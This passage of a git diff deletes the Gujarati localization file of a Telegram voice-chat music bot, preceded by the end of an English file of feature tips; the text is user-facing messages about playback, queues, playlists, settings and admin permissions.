-sug_21 : "Bot has server-sided playlist option.\n\nYou can add music in your playlist and play them all together via /play"
-sug_22 : "You can now shuffle the queued musics on the bot.\n\nCommand: /shuffle"
-sug_23 : "You can check the queue of the musics.\n\nCommand: /queue"
-sug_24 : "You can check my owner and sudo users who manage me.\n\nCommand: /sudolist"
-sug_25 : "Bot has a feature called **Commands Delete Mode**. It deletes its executed commands automatically.\n\nEnable or disable deletemode from /settings [__Enabled by default__]"
-sug_26 : "You can change language of the bot to available languages for easy understanding.\n\nCommand: /language"
-sug_27 : "Bot has a feature called **Force Play**.\n\n**Force Play** stops the playing track on voice chat and starts playing the searched track instantly without disturbing/clearing queue.\n\nCommand: /playforce"
diff --git a/strings/langs/gu.yml b/strings/langs/gu.yml
deleted file mode 100644
index f0cd077..0000000
--- a/strings/langs/gu.yml
+++ /dev/null
@@ -1,320 +0,0 @@
-name : 🇮🇳 ગુજરાતી
-
-# General Strings
-general_1 : " વપરાશકર્તાના સંદેશનો જવાબ આપો અથવા વપરાશકર્તાનામ/user_id આપો. "
-general_2 : "ભૂલ! આદેશનો ખોટો ઉપયોગ."
-general_3 : "તમારી ક્વેરી પર પ્રક્રિયા કરતી વખતે કેટલાક **અપવાદ આવ્યા**.\n\nઅપવાદ પ્રકાર:- {0}"
-general_4 : "તમે આ ચેટ જૂથમાં એક અનામી એડમિન છો!\nવ્યવસ્થાપક અધિકારોમાંથી વપરાશકર્તા ખાતા પર પાછા ફરો."
-general_5 : "આ ક્રિયા કરવા માટે તમારે વૉઇસ ચેટ અધિકારોનું સંચાલન કરવાની સાથે એડમિન બનવાની જરૂર છે."
-general_6 : "બોટ વૉઇસ ચેટ પર સ્ટ્રીમિંગ નથી."
-
- # Classes - Telegram.py
-tg_1 : "બોટ અત્યારે ડાઉનલોડ સાથે **ઓવરલોડ** છે.\n\n**આ પછી પ્રયાસ કરો:** {0} (__અપેક્ષિત સમય__)"
-tg_2 : "ટેલિગ્રામમાંથી મીડિયા ડાઉનલોડ કરવામાં નિષ્ફળ."
-
- # Core - Call.py
-call_1 : "બોટને તમારી ચેનલ પર સહાયક એકાઉન્ટને આમંત્રિત કરવા માટે **એડમિન** પરવાનગીની જરૂર છે.\n\n: /playmode દ્વારા ચેનલ પ્લેમોડને અક્ષમ કરો"
-call_2 : "સહાયક તમારા જૂથ અથવા ચેનલમાં પ્રતિબંધિત છે, કૃપા કરીને પ્રતિબંધ દૂર કરો.\n\n**સહાયક વપરાશકર્તા નામ:** @{0}\n**સહાયક ID:** {1}"
-call_3 : "આસિસ્ટન્ટ એકાઉન્ટને તમારી ચેટમાં આમંત્રિત કરતી વખતે અપવાદ થયો.\n\n**કારણ**: {0}"
-call_4 : "બોટને તમારા ચેટ જૂથમાં સહાયક એકાઉન્ટને આમંત્રિત કરવા માટે **લિંક દ્વારા વપરાશકર્તાઓને આમંત્રિત કરો** પરવાનગીની જરૂર છે."
-call_5 : "આસિસ્ટન્ટ એકાઉન્ટ 5 સેકન્ડમાં જોડાઈ જશે..કૃપા કરીને રાહ જુઓ!"
-call_6 : "સહાયક એકાઉન્ટ[{0}] સફળતાપૂર્વક જોડાયા.\n\nહમણાં સંગીત શરૂ કરી રહ્યાં છીએ"
-call_7 : "**હાનિકારક એડમિન અધિકાર આપેલ **\n\nકૃપા કરીને બોટમાંથી **પ્રતિબંધિત વપરાશકર્તાઓ** અધિકારો દૂર કરો."
-call_8 : "**હાનિકારક એડમિન અધિકાર આપેલ છે **\n\nકૃપા કરીને બોટમાંથી **નવા એડમિન ઉમેરો** અધિકારો દૂર કરો."
-call_9 : "**સ્ટ્રીમ સ્વિચ કરવામાં નિષ્ફળ**\nફરીથી ટ્રૅક બદલવા માટે કૃપા કરીને /સ્કિપનો ઉપયોગ કરો."
-call_10 : "પ્લેલિસ્ટમાંથી નેક્સ્ટ ટ્રેક ડાઉનલોડ કરી રહ્યું છે"
-call_11 : "કૃપા કરીને તમારી ચેનલમાં @{0} ઉમેરો[ ID: {1}].\n\nબોટ ચેનલ વિગતો મેળવવામાં સક્ષમ નથી."
-
- # PLUGINS - Auth.py
-auth_1 : "તમારા જૂથની અધિકૃત વપરાશકર્તાઓ સૂચિ (AUL) માં તમારી પાસે ફક્ત 20 વપરાશકર્તાઓ હોઈ શકે છે"
-auth_2 : "તમારા જૂથની અધિકૃત વપરાશકર્તાઓની સૂચિમાં ઉમેરાયેલ."
-auth_3 : "પહેલેથી જ અધિકૃત વપરાશકર્તાઓની સૂચિમાં છે."
-auth_4 : "આ જૂથની અધિકૃત વપરાશકર્તાઓની સૂચિમાંથી દૂર કરેલ છે."
-auth_5 : "લક્ષિત વપરાશકર્તા અધિકૃત વપરાશકર્તા નથી."
-auth_6 : "અધિકૃત વપરાશકર્તાઓને લાવી રહ્યું છે... કૃપા કરીને રાહ જુઓ"
-auth_7 : "**અધિકૃત વપરાશકર્તાઓની સૂચિ[AUL]:**\n\n"
-auth_8 : "┗ આના દ્વારા ઉમેરાયેલ:-"
-
- # PLUGINS - Admins
-admin_1 : "સંગીત પહેલેથી જ થોભાવેલું છે."
-admin_2 : "🎧 વૉઇસચેટ {} દ્વારા થોભાવવામાં આવી!"
-admin_3 : "સંગીત પહેલેથી જ ફરી શરૂ થયેલ છે."
-admin_4 : "🎧 વૉઇસચેટ {} દ્વારા ફરી ચાલુ!"
-admin_5 : "સંગીત પહેલેથી જ મ્યૂટ છે."
-admin_6 : "🎧 વૉઇસચેટ {} દ્વારા મ્યૂટ કરેલ છે!"
-admin_7 : "સંગીત પહેલેથી જ અનમ્યૂટ છે."
-admin_8 : "🎧 વૉઇસચેટ {} દ્વારા અનમ્યૂટ!"
-admin_9 : "🎧 વૉઇસચેટ સમાપ્ત/{} દ્વારા બંધ!"
-admin_10 : "🎧 વૉઇસચેટ {} દ્વારા છોડવામાં આવ્યું!. કતારમાં વધુ સંગીત નથી."
-admin_11 : "સ્ટ્રીમને **{0}**માં બદલતી વખતે ભૂલ\n\nકૃપા કરીને ફરીથી /સ્કિપનો ઉપયોગ કરો."
-admin_12 : "સક્રિય કરેલ લૂપ પ્લેને કારણે ચોક્કસ ટ્રેક પર જવા માટે અસમર્થ. કૃપા કરીને આ સુવિધાનો ઉપયોગ કરવા માટે `/loop disable` દ્વારા લૂપ પ્લેને અક્ષમ કરો."
-admin_13 : "મહેરબાની કરીને ચોક્કસ ટ્રેક માટે આંકડાકીય સંખ્યાઓનો ઉપયોગ કરો, જેમ કે 1, 2 અથવા 4 વગેરે"
-admin_14 : "ચોક્કસ નંબર પર જવા માટે કતારમાં ઓછામાં ઓછા 2 ટ્રેકની જરૂર છે. /queue દ્વારા કતાર તપાસો"
-admin_15 : "તમારા દ્વારા આપવામાં આવેલ મૂલ્ય માટે કતારમાં પૂરતા ટ્રેક નથી. કૃપા કરીને 1 અને {0} વચ્ચેની સંખ્યાઓ પસંદ કરો"
-admin_16 : "વિશિષ્ટ ટ્રેક પર જવા માટે નિષ્ફળ.\n\n/કતાર દ્વારા ડાબી કતાર તપાસો"
-admin_17 : "{0}.. કૃપા કરીને રાહ જુઓ"
-admin_18 : "એડમિન સૂચિ મળી નથી\n\nકૃપા કરીને /admincache અથવા /reload દ્વારા એડમિનલિસ્ટને ફરીથી લોડ કરો"
-admin_19 : "આ કરવા માટે તમારે મેનેજ વૉઇસ ચેટ અધિકારો સાથે એડમિન બનવાની જરૂર છે.\nજો તમે પહેલેથી જ એડમિન છો, તો /admincache દ્વારા એડમિનકેશને ફરીથી લોડ કરો "
-admin_20 : "એડમિન કેશ સફળતાપૂર્વક ફરીથી લોડ થયો."
-admin_21 : "શફલ કરવા માટે કતારની અંદર કંઈ નથી"
-admin_22 : "શફલ કરવામાં નિષ્ફળ.\n\nકતાર તપાસો : /queue"
-admin_23 : "**કતાર {0}** દ્વારા શફલ કરી છે\n\nશફલ્ડ કતાર તપાસો : /કતાર"
-admin_24 : "**ઉપયોગ:**\n/લૂપ [સક્ષમ/અક્ષમ કરો] અથવા [1-10 વચ્ચેની સંખ્યા]\n\n**ઉદાહરણ:** /લૂપ 5"
-admin_25 : "{0} દ્વારા **{1}** વખત માટે લૂપ સક્ષમ કરેલ છે. બોટ હવે **{1}** વખત માટે વૉઇસ ચેટ પર વર્તમાન વગાડતા સંગીતનું પુનરાવર્તન કરશે"
-admin_26 : "કૃપા કરીને લૂપ પ્લે માટે 1-10 વચ્ચેની સંખ્યાઓનો ઉપયોગ કરો"
-admin_27 : "લૂપ પ્લે અક્ષમ કરવામાં આવ્યું છે"
-
- # Bot
-
- # Start
-start_1 : "મને {0} માં રાખવા બદલ આભાર.\n{1} જીવંત છે.\n\nકોઈપણ સહાય અથવા મદદ માટે, અમારું સમર્થન જૂથ અને ચેનલ તપાસો."
-start_2 : "હેલો, મારું નામ {0} છે.\n\nહું કેટલીક ઉપયોગી સુવિધાઓ સાથેનો ટેલિગ્રામ સ્ટ્રીમિંગ બોટ છું. YouTube, Spotify, Resso, AppleMusic , Soundcloud વગેરે જેવા સપોર્ટિંગ પ્લેટફોર્મ્સ.\n\nમને ઉમેરવા માટે નિઃસંકોચ તમારા જૂથો."
-start_3 : "સ્વાગત છે {0}\n\nમને કામ કરવા માટે કોઈ **એડમિન પરવાનગી**ની જરૂર નથી ( જ્યાં સુધી પૂછવામાં ન આવે ત્યાં સુધી).\n\nસહાયકનું વપરાશકર્તા નામ:- @{1}\nસહાયક ID:- {2} "
-start_4 : "{0}ના માલિક[{1}] હમણાં જ તમારી ચેટમાં જોડાયા છે."
-start_5 : "{0}ના સુડો વપરાશકર્તા[{1}]નો સભ્ય હમણાં જ તમારી ચેટમાં જોડાયો છે."
-start_6 : "❗️ **સુપરગ્રુપની જરૂર છે** ❗️\n\nકૃપા કરીને તમારા **જૂથ**ને **સુપરગ્રુપ**માં કન્વર્ટ કરો અને પછી મને પાછો ઉમેરો.\n\n**સુપરગ્રુપ કેવી રીતે બનાવશો?**\n✅ તમારા જૂથના ચેટ ઇતિહાસને એકવાર **દૃશ્યમાન** બનાવો."
-
- # Help
-help_1 : "વધુ માહિતી માટે નીચેના બટનો પર ક્લિક કરો. જો તમને આદેશમાં કોઈ સમસ્યા આવી રહી હોય તો તમે મારા બોટ માલિકનો સંપર્ક કરી શકો છો અથવા સપોર્ટ ચેટમાં પૂછી શકો છો.\n\nતમામ આદેશોનો ઉપયોગ આની સાથે કરી શકાય છે: /"
-help_2 : "મદદ માટે PM માં મારો સંપર્ક કરો."
-
- # Settings
-setting_1 : "⚙️ **મ્યુઝિક બોટ સેટિંગ્સ**\n\n🖇**ગ્રુપ:** {0}\n🔖**ગ્રુપ આઈડી:** `{1}`\n\n💡**ફંક્શન પસંદ કરો નીચેના બટનો કે જેમાંથી તમે ફેરફાર અથવા ફેરફાર કરવા માંગો છો.**"
-setting_3 : "⁉️ આ શું છે?\n\n1) ડાયરેક્ટ: સીધા શોધ ક્વેરી ચલાવે છે. ડાયરેક્ટ મોડમાં વિડિયો ચલાવવા માટે -v નો ઉપયોગ કરો.\n\n2) ઇનલાઇન: વિડિયો અને ઑડિયો વચ્ચે પસંદગી કરવા માટે ઇનલાઇન માર્કઅપ બટનો પરત કરે છે."
-setting_4 : "⁉️ આ શું છે?\n\n👥 દરેક વ્યક્તિ: કોઈપણ વ્યક્તિ આ જૂથમાં હાજર એડમિન આદેશો (સ્કિપ, પોઝ, રિઝ્યૂમ વગેરે) નો ઉપયોગ કરી શકે છે.\n\n🙍 માત્ર એડમિન: માત્ર એડમિન અને અધિકૃત વપરાશકર્તાઓ જ એડમિન આદેશોનો ઉપયોગ કરી શકે છે "
-setting_5 : "કોઈ અધિકૃત વપરાશકર્તાઓ મળ્યા નથી\n\nતમે કોઈપણ બિન-એડમિનને /auth દ્વારા મારા એડમિન આદેશોનો ઉપયોગ કરવાની અને /unauth નો ઉપયોગ કરીને કાઢી નાખવાની મંજૂરી આપી શકો છો"
-setting_9 : "⁉️ આ શું છે?\n\nજ્યારે સક્રિય થાય છે, ત્યારે બૉટ તમારી ચેટને સ્વચ્છ અને સ્પષ્ટ બનાવવા માટે {0} પછી તેનો સંદેશ કાઢી નાખશે."
-setting_10 : "⁉️ આ શું છે?\n\n1) જૂથ: જ્યાં આદેશ આપવામાં આવે છે તે જૂથમાં સંગીત વગાડે છે.\n\n2) ચેનલ: તમને જોઈતી ચેનલમાં સંગીત વગાડે છે. /channelplay દ્વારા ચેનલ id સેટ કરો"
-setting_11 : "⁉️ આ શું છે?\n\n1) દરેક વ્યક્તિ: આ જૂથમાં હાજર કોઈપણ અહીં સંગીત વગાડી શકે છે.\n\n2) ફક્ત એડમિન: ફક્ત એડમિન જ આ જૂથમાં સંગીત વગાડી શકે છે."
-setting_12 : "❌ તમારી પાસે ચેનલ મોડ માટે કોઈ ચેનલ id વ્યાખ્યાયિત નથી. કૃપા કરીને /channelplay સાથે વ્યાખ્યાયિત કરો."
-setting_13 : "સક્રિય જૂથ કૉલમાં પ્લે મોડ બદલી શકાતો નથી. કૃપા કરીને /stop સાથે પહેલા વૉઇસ ચેટ બંધ કરો."
-setting_14 : "⁉️ આ શું છે?\n\nજ્યારે સક્રિય થાય છે, ત્યારે બોટ તેના એક્ઝિક્યુટ કરેલા આદેશો (/play, /pause, /shuffle, /stop etc) ને તરત જ કાઢી નાખશે.\n\nબોટને આના માટે સીધા જ સંદેશા એડમિનને કાઢી નાખવાની જરૂર પડશે. યોગ્ય રીતે કામ કરો."
-setting_15 : "પીઅર ઉકેલવામાં નિષ્ફળ, ખાતરી કરો કે તમે તમારી ચેનલમાં બોટ ઉમેર્યો છે અને તેને એડમિન તરીકે પ્રમોટ કર્યો છે.\n\nફરી સેટિંગ /ચેનલપ્લે કરવાનો પ્રયાસ કરો.."
-
-set_cb_1 : "ઓડિયો ગુણવત્તા પેનલ મેળવી રહ્યું છે..."
-set_cb_2 : "વિડિઓ ગુણવત્તા પેનલ મેળવી રહ્યું છે..."
-set_cb_3 : "અધિકૃત વપરાશકર્તાઓ પેનલ મેળવવી..."
-set_cb_4 : "પ્લે મોડ પેનલ મેળવી રહ્યું છે..."
-set_cb_5 : "ક્લીન મોડ પેનલ મેળવી રહ્યું છે..."
-set_cb_6 : "ફેરફારો સેટ કરી રહ્યા છીએ."
-set_cb_7 : "અધિકૃત વપરાશકર્તાઓની સૂચિ મેળવી રહ્યું છે.. કૃપા કરીને રાહ જુઓ."
-set_cb_8 : "પાછું મેળવવું.."
-
- # Misc
-gstats_1 : "વૈશ્વિક આંકડા મેળવવામાં, આમાં થોડો સમય લાગી શકે છે..."
-gstats_2 : "કોઈ વૈશ્વિક આંકડા મળ્યા નથી."
-gstats_3 : "**બોટ પર કુલ ક્વેરીઝ:** {0}\n\n{1} એ અત્યાર સુધી **{3}** વખત **{2}** ટ્રૅક રમ્યા છે.\n \n**ટોચના {4} ટ્રૅક્સ:**\n"
-
-ustats_1 : "કોઈ વપરાશકર્તા આંકડા મળ્યા નથી."
-ustats_2 : "શુભકામના!, તમે અત્યાર સુધી **{0}** ટ્રેક **{1}** વખત રમ્યા છે.\n\nતમારા દ્વારા ભજવવામાં આવેલ ટોચના {2}:\n\n"
-
-top_1 : "બોટની વૈશ્વિક ટોચની 10 ચેટ્સ મેળવવી, આમાં થોડો સમય લાગી શકે છે..."
-top_2 : "કોઈ આંકડા મળ્યા નથી"
-top_3 : "**{1}ની ટોચની {0} ચેટ્સ:**\n\n"
-top_4 : "બોટના વૈશ્વિક ટોચના 10 વપરાશકર્તાઓ મેળવવામાં, આમાં થોડો સમય લાગી શકે છે..."
-top_5 : "**{1} ના ટોચના {0} વપરાશકર્તાઓ:**\n\n"
-top_6 : "આ ચેટના ટોચના 10 ટ્રેક મેળવવામાં, આમાં થોડો સમય લાગી શકે છે..."
-top_7 : "બોટના ગ્લોબલ ટોપ 10 ટ્રૅક્સ મેળવવામાં, આમાં થોડો સમય લાગી શકે છે..."
-top_8 : "આ ચેટ જૂથે અત્યાર સુધી **{0}** ટ્રેક **{1}** વખત રમ્યા છે.\n\nઆ ચેટ જૂથ દ્વારા રમાયેલ ટોચના {2}:\n\n"
-top_9 : "Bot ના સામાન્ય આંકડા અને માહિતી મેળવી રહ્યાં છીએ.. આમાં થોડો સમય લાગી શકે છે..."
-top_10 : "**BOT ના વૈશ્વિક ટોચના 10 આંકડા**\n\nનીચેથી તે બટનો પસંદ કરો કે જેના માટે તમે બોટના સર્વરમાંથી વૈશ્વિક આંકડાઓ તપાસવા માંગો છો."
-
- # play
-
- #Play CallBack
-playcb_1 : "આ તમારા માટે નથી! તમારું પોતાનું ગીત શોધો."
-playcb_2 : "આગલું પરિણામ મેળવવું"
-
- # Channel Play
-cplay_1 : "તમે આ ચેટ[{0}] થી કોઈપણ ચેનલ અથવા તમારી ચેટની લિંક કરેલ ચેનલમાં સંગીત વગાડી શકો છો.\n\n**લિંક કરેલ ચેનલ માટે:**\n`/{1} લિંક કરેલ`\n\ n**અન્ય કોઈપણ ચેનલ માટે:**\n`/{1} [ચેનલ ID]`"
-cplay_2 : "આ ચેટમાં કોઈ લિંક કરેલ ચેનલ નથી."
-cplay_3 : "ચેનલ વ્યાખ્યાયિત {0}\n\n__ચેનલ ID__: {1}"
-cplay_4 : "ચેનલ મેળવવામાં નિષ્ફળ.\n\nખાતરી કરો કે તમે તમારી ચેનલમાં બોટ ઉમેર્યો છે અને તેને એડમિન તરીકે પ્રમોટ કર્યો છે.\n/channelplay દ્વારા ચેનલ બદલો અથવા /playmode દ્વારા ચેનલ પ્લે મોડને અક્ષમ કરો"
-cplay_5 : "માત્ર ચેનલો જ સમર્થિત છે."
-cplay_6 : "ચેનલને આ જૂથ સાથે જોડવા માટે તમારે તેના **માલિક[{0}] બનવાની જરૂર છે.\n**ચેનલના માલિક:** @{1}\n\nવૈકલ્પિક રીતે તમે તમારા જૂથને લિંક કરી શકો છો તે ચેનલ સાથે અને પછી `/ચેનલપ્લે લિંક્ડ` સાથે કનેક્ટ કરવાનો પ્રયાસ કરો"
-
- #Play
-play_1 : "🔄 પ્રક્રિયા ક્વેરી... કૃપા કરીને રાહ જુઓ!"
-play_2 : "**🏷ચેનલ પ્લે મોડ**\n\n🔄 પ્રક્રિયા ક્વેરી... કૃપા કરીને રાહ જુઓ!\n**લિંક કરેલ ચેનલ:** {0}"
-play_3 : "ક્વેરી પર પ્રક્રિયા કરવામાં નિષ્ફળ!"
-play_4 : "🖇 **એડમિન્સ ઓન્લી પ્લે**\nફક્ત એડમિન્સ અને ઓથ યુઝર્સ આ ગ્રુપમાં મ્યુઝિક વગાડી શકે છે.\n\n/playmode દ્વારા મોડ બદલો અને જો તમે પહેલેથી જ એડમિન છો, તો /admincache દ્વારા એડમિનકેશને ફરીથી લોડ કરો"
-play_5 : "ઑડિઓ ફાઇલ પર પ્રક્રિયા કરવામાં નિષ્ફળ.\n\nઑડિયો ફાઇલનું કદ 100 mb કરતાં ઓછું હોવું જોઈએ"
-play_6 : "**અવધિ મર્યાદા ઓળંગાઈ ગઈ**\n\n**મંજૂર અવધિ: **{0} મિનિટ(ઓ)\n**પ્રાપ્ત અવધિ:** {1} કલાક"
-play_7 : "માફ કરશો! CPU ઓવરલોડ સમસ્યાઓને કારણે બૉટ માત્ર મર્યાદિત સંખ્યામાં વિડિયો કૉલ્સની મંજૂરી આપે છે. અન્ય ઘણી ચેટ્સ અત્યારે વિડિયો કૉલનો ઉપયોગ કરી રહી છે. ઑડિયો પર સ્વિચ કરવાનો પ્રયાસ કરો અથવા પછીથી ફરી પ્રયાસ કરો"
-play_8 : "માન્ય વિડિઓ ફાઇલ એક્સ્ટેંશન નથી!\n\n**સપોર્ટેડ ફોર્મેટ્સ:** {0}"
-play_9 : "વિડિયો ફાઇલનું કદ 1 GiB કરતા ઓછું હોવું જોઈએ"
-play_10 : "**યુટ્યુબ પ્લેલિસ્ટ સુવિધા**\n\nતમે આખી યુટ્યુબ પ્લેલિસ્ટ ચલાવવા માંગો છો તે મોડ પસંદ કરો"
-play_11 : "📎શીર્ષક: **{0}\n\n⏳ અવધિ:** {1} મિનિટ"
-play_12 : "**Spotify Play Mode**\n\nઆના દ્વારા વિનંતી કરાયેલ:- {0}"
-play_13 : "**Apple પ્લેલિસ્ટ**\n\nઆના દ્વારા વિનંતી કરાયેલ:- {0}"
-play_14 : "**URL ચકાસવામાં અસમર્થ.**\nજો આ url નીચેના કોઈપણ પ્લેટફોર્મનું હોય તો આશ્ચર્ય થાય છે: Youtube, AppleMusic, Spotify, Resso અને Soundcloud.\n\nતમે M3u8 અથવા રિમોટ લિંક્સ માટે /સ્ટ્રીમનો ઉપયોગ કરી શકો છો "
-play_15 : "**લાઇવ સ્ટ્રીમ શોધાયું**\n\nસિસ્ટમને તમારી ટ્રૅક લિંક લાઇવ સ્ટ્રીમ તરીકે મળી છે. લાઇવ સ્ટ્રીમ ચલાવવા માંગો છો?"
-play_16 : "ટ્રેકની વિગતો મેળવવામાં નિષ્ફળ. કોઈપણ અન્ય રમવાનો પ્રયાસ કરો."
-play_17 : "આ પ્રકારની સ્પોટાઇફ ક્વેરી ચલાવવામાં અસમર્થ!\n\nહું માત્ર સ્પોટાઇફ ટ્રેક્સ, આલ્બમ્સ, કલાકારો અને પ્લેલિસ્ટ્સ જ પ્લે કરી શકું છું"
-
- #Playlist
-playlist_1 : "**ઉપયોગ:** /પ્લે [સંગીતનું નામ અથવા યુટ્યુબ લિંક અથવા ઑડિયોને જવાબ આપો]\n\nજો તમે બૉટનું સર્વર પ્લેલિસ્ટ ચલાવવા માંગતા હોવ તો નીચેનું બટન દબાવો."
-playlist_2 : "તમારી પ્લેલિસ્ટ મળી રહી છે. કૃપા કરીને રાહ જુઓ"
-playlist_3 : "તમારી પાસે બોટના સર્વર પર કોઈ પ્લેલિસ્ટ નથી."
-playlist_4 : "ફેચ કરેલ પ્લેલિસ્ટ:\n\n"
-playlist_5 : " અવધિ- {0} મિનિટ"
-playlist_6 : "પ્લેલિસ્ટ કાઢી નાખવા માટે PM માં મારો સંપર્ક કરો."
-playlist_7 : "પ્લેલિસ્ટની અંદરના ટ્રૅક્સ: {0}\n\nતમારા પ્લેલિસ્ટમાંથી કોઈ ચોક્કસ ટ્રૅક કાઢી નાખવા માટે બટનો દબાવો.\n\nઆખી પ્લેલિસ્ટ કાઢી નાખવા માટે: ડેલ આખી પ્લેલિસ્ટ બટન દબાવો."
-playlist_8 : "પહેલેથી જ અસ્તિત્વમાં છે\n\nઆ ટ્રૅક તમારી પ્લેલિસ્ટમાં અસ્તિત્વમાં છે."
-playlist_9 : "માફ કરશો! તમારી પાસે પ્લેલિસ્ટમાં ફક્ત {0} સંગીત હોઈ શકે છે."
-playlist_10 : "પ્લેલિસ્ટ એડિશન\n\n{0}\nતમારા પ્લેલિસ્ટમાં ઉમેરાયેલ."
-playlist_11 : "તમારો ટ્રેક સફળતાપૂર્વક કાઢી નાખ્યો."
-playlist_12 : "તમારો ટ્રેક કાઢી નાખવામાં નિષ્ફળ."
-playlist_13 : "સર્વરમાંથી તમારી આખી પ્લેલિસ્ટ કાઢી નાખી."
-playlist_14 : "**શું તમે ખરેખર તમારી આખી પ્લેલિસ્ટ કાઢી નાખવા માંગો છો?**\n\nતમે તમારી પ્લેલિસ્ટ ગુમાવશો અને તે પછીથી પુનઃપ્રાપ્ત કરી શકાશે નહીં."
-playlist_15 : "[ચેકઆઉટ આખી પ્લેલિસ્ટ]({0})"
-playlist_16 : "કતારબદ્ધ પ્લેલિસ્ટ:"
-playlist_17 : "કતારબદ્ધ સ્થિતિ-"
-playlist_18 : "[ચેકઆઉટ આખી કતારવાળી પ્લેલિસ્ટ]({0})\n\nછેલ્લી કતારવાળી સ્થિતિ : **{1}**"
-
- #Playmode
-playmode_1 : "તે મોડ પસંદ કરો કે જેમાં તમે તમારા જૂથની અંદર ક્વેરી ચલાવવા માંગો છો[{0}]."
-playmode_2 : "સેટિંગ્સ બદલાઈ અને {0} દ્વારા સફળતાપૂર્વક સાચવવામાં આવી"
-
- #Stream
-str_1 : "કૃપા કરીને M3u8 લિંક્સ અથવા ઇન્ડેક્સ લિંક્સ પ્રદાન કરો."
-str_2 : "✅ માન્ય સ્ટ્રીમ ચકાસાયેલ\n\nકૃપા કરીને પ્રોસેસિંગ લિંકની રાહ જુઓ.."
-str_3 : "YouTube લાઇવ સ્ટ્રીમ્સને સ્ટ્રીમ કરવામાં અસમર્થ. કોઈ લાઇવ ફોર્મેટ મળ્યું નથી"
-
- #TopPlay
-tracks_1 : "**પ્રક્રિયા કરી રહ્યું છે {0} ટોચની 10 પ્લેલિસ્ટ**\n\n**👤 દ્વારા વિનંતી કરાયેલ:** {1}\n📢**ચેનલ પ્લે:** {2}\n\nઆના દ્વારા ટોચના 10 ટ્રૅક્સ તપાસો /આંકડા"
-tracks_2 : "**ભૂલ**\n\nબોટના સર્વર પર કોઈ **{0} ટોચની 10 પ્લેલિસ્ટ** નથી. કૃપા કરીને કોઈપણ અન્ય પ્લેલિસ્ટનો પ્રયાસ કરો"
-
- # TOOLS
-
- #Lyrics
-lyrics_1 : "**ઉપયોગ:**\n\n/ગીત [ સંગીતનું નામ]"
-lyrics_2 : "ગીતોની શોધ"
-lyrics_3 : "❌ ગીતો લાવવામાં નિષ્ફળ 😭.\n\n💡**આના માટે શોધવાનો પ્રયાસ કર્યો:** {0}"
-lyrics_5 :
-lyrics_4 : "નીચેના બટન પર ક્લિક કરો અને લાંબા સ્પામ પ્રકારના ગીતોની શોધને ટાળવા માટે શોધેલ ગીતો મેળવો."
-
- #Ping
-ping_1 : "પૉંગ!!!!"
-
-
- # Song
-song_1 : "તમે YouTube પરથી સંગીત અથવા વિડિયો ફક્ત ખાનગી ચેટમાં ડાઉનલોડ કરી શકો છો. કૃપા કરીને મને ખાનગી ચેટમાં પ્રારંભ કરો."
-song_2 : "**ઉપયોગ:**\n\n/ગીત [સંગીતનું નામ] અથવા [યુટ્યુબ લિંક]"
-song_3 : "લાઇવ લિંક મળી. હું લાઇવ યુટ્યુબ વીડિયો ડાઉનલોડ કરી શકતો નથી."
-song_4 : "**🔗શીર્ષક:**- {0}\n\nતમે ડાઉનલોડ કરવા માંગો છો તે પ્રકાર પસંદ કરો."
-song_5 : "માન્ય યુટ્યુબ લિંક નથી"
-song_6 : "ફોર્મેટ્સ મેળવી રહ્યાં છીએ.. \n\nકૃપા કરીને રાહ જુઓ.."
-song_7 : "વિડિઓ માટે ઉપલબ્ધ ફોર્મેટ મેળવવામાં નિષ્ફળ. કૃપા કરીને કોઈપણ અન્ય ટ્રૅકનો પ્રયાસ કરો."
-song_8 : "ડાઉનલોડ શરૂ થયું\n\nડાઉનલોડ કરવાની ઝડપ ધીમી હોઈ શકે છે. કૃપા કરીને પકડી રાખો.."
-song_9 : "Youtube-DL પરથી ગીત ડાઉનલોડ કરવામાં નિષ્ફળ\n\n**કારણ:** {0}"
-song_10 : "સર્વરમાંથી ટેલિગ્રામ પર અપલોડ કરવામાં નિષ્ફળ."
-song_11 : "અપલોડ કરવાનું શરૂ થયું\n\nઅપલોડ કરવાની ઝડપ ધીમી હોઈ શકે છે. કૃપા કરીને પકડી રાખો.."
-
- # Tools - Queue
-queue_1 : "કૃપા કરીને રાહ જુઓ..કતાર મેળવી રહ્યાં છીએ.."
-queue_2 : "કતારની અંદર કોઈ ટ્રેક નથી."
-queue_3 : "**કતારબદ્ધ ટ્રૅક્સ:** [અહીંથી વધુ કતારબદ્ધ ટ્રૅક્સ તપાસો]({0})"
-queue_4 : "⏳ **#{0} પર કતારમાં ઉમેર્યું\n\n💡શીર્ષક:** {1}\n**⏱ અવધિ:** {2}\n👤**આના દ્વારા ઉમેરાયેલ:** {3 }"
-
- # All Streaming Lines
-stream_1 : "📡 **સ્ટ્રીમિંગ શરૂ કર્યું** 💡\n\n👤**આના દ્વારા વિનંતી કરાયેલ:** {0}\n🔦**માહિતી: **[અહીં]({1})"
-stream_2 : "📡 **URL દ્વારા સ્ટ્રીમિંગ શરૂ કર્યું ** 💡\n\n👤**આના દ્વારા વિનંતી કરવામાં આવી:** {0}"
-stream_3 : "📡 **સ્ટ્રીમિંગ શરૂ કર્યું** 💡\n\n**🏷શીર્ષક:** {0}\n⌛️**અવધિ**: {1}\n👤**આના દ્વારા વિનંતી કરાયેલ:** {2} "
-stream_4 : "📡 **સ્ટ્રીમિંગ શરૂ કર્યું** 💡\n\n**🏷શીર્ષક:** [{0}]({1})\n⌛️**સમય**: {2}\n👤**વિનંતી દ્વારા:** {3}"
-
- # Inline Buttons
-
- #General Buttons
-CLOSE_BUTTON : "🗑 બંધ"
-CLOSEMENU_BUTTON : "🗑 મેનુ બંધ કરો"
-BACK_BUTTON : "⬅ પાછળ"
-UNBAN_BUTTON : "🗑 સહાયકને પ્રતિબંધિત કરો"
-
- #Lyrics
-L_B_1 : "🚀 હવે ગીતો તપાસો"
-
- # Start
-S_B_1 : "🗒 આદેશો"
-S_B_2 : "🔧 સેટિંગ્સ"
-S_B_3 : "📨 આધાર"
-S_B_4 : "📨 ચેનલ"
-S_B_5 : "✚ મને તમારા ગ્રુપમાં ઉમેરો"
-S_B_6 : "💡 ગિટ રેપો"
-S_B_7 : "👤 બોટ માલિક"
-S_B_8 : "🔎 કેવી રીતે વાપરવું? આદેશો મેનુ."
-
- #Help
-H_B_1 : "એડમિન કમાન્ડ્સ"
-H_B_2 : "પ્લે કમાન્ડ્સ"
-H_B_3 : "બોટ આદેશો"
-H_B_4 : "અતિરિક્ત આદેશો"
-H_B_5 : "મેનુ બંધ કરો"
-H_B_6 : "સુડો યુઝર કમાન્ડ્સ"
-
- #PlayMode
-PM_B_1 : "ડાયરેક્ટ પ્લે"
-PM_B_2 : "ઇનલાઇનમાર્કઅપ"
